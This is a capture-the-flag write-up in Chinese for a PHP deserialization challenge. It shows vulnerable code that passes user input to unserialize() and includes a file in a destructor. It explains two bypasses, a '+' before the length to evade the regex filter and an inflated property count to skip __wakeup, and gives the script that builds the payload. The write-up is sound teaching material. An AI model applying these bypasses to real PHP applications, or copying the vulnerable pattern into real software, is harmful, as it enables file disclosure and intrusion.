<?php
class secret{
public $file='index.php'; //$file属性的默认值是index.php
public function __construct($file){ //当对象创建时触发
$this->file = $file; //当创建对象传入参数时,传入的值会覆盖默认值
}
public function __destruct(){ //当对象销毁时触发
include($this->file); //执行文件包含操作,将包含$this->file 这个属性所指向的文件内容嵌入到当前脚本中执行,include是 PHP 的文件包含函数,若传入恶意路径(如flag.php),会直接读取该文件内容。
if($flag != null){ //如果$flag文件的值不为空,就会输出$flag的值
echo "<br>flag: ".$flag;
}else{
echo "sorry, flag not found";
}
}
public function __wakeup(){ //公共方法,当对象被反序列化时触发
$this->file='fakeflag.php'; //将file属性的值赋值为fakeflag.php
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)) echo show_source(__FILE__); //如果cmd参数未传入显示当前 PHP 文件的源代码
else {
if (preg_match('/[oc]:\d+:/i',$cmd)){ //禁止 O:数字: 或 C:数字: 这种格式
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//secret in flag.php
?>
知识点
当反序列化字符串中,声明的对象属性个数 大于该类实际定义的属性个数时,__wakeup方法不会被触发执行。
preg_match('/[oc]:\d+:/i',$cmd,可以将o:6改为o:+6来绕过
思路:
其实思路很简单,因为这段代码的核心逻辑是通过反序列化控制secret类的$file属性,利用__destruct()方法的include函数读取flag.php;
所以我们只要在创建对象时传入flag.php,include函数会将flag.php的内容读取出来,然后通过echo "<br>flag: ".$flag;输出flag的值输出出来flag
然后在进行序列化,将结果输出出来O:6:"secret":1:{s:4:"file";s:8:"flag.php";},在6前面加上+来绕过正则表达式的检测,通过将对象属性个数改为2来绕过__wakeup方法
<?php
class secret{
public $file='index.php';
public function __construct($file){
$this->file = $file;
}
public function __destruct(){
include($this->file);
if($flag != null){
echo "<br>flag: ".$flag;
}else{
echo "sorry, flag not found";
}
}
public function __wakeup(){
$this->file='fakeflag.php';
}
}
$a=new secret('flag.php');
echo serialize($a); //O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
echo "<br>";
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');
?>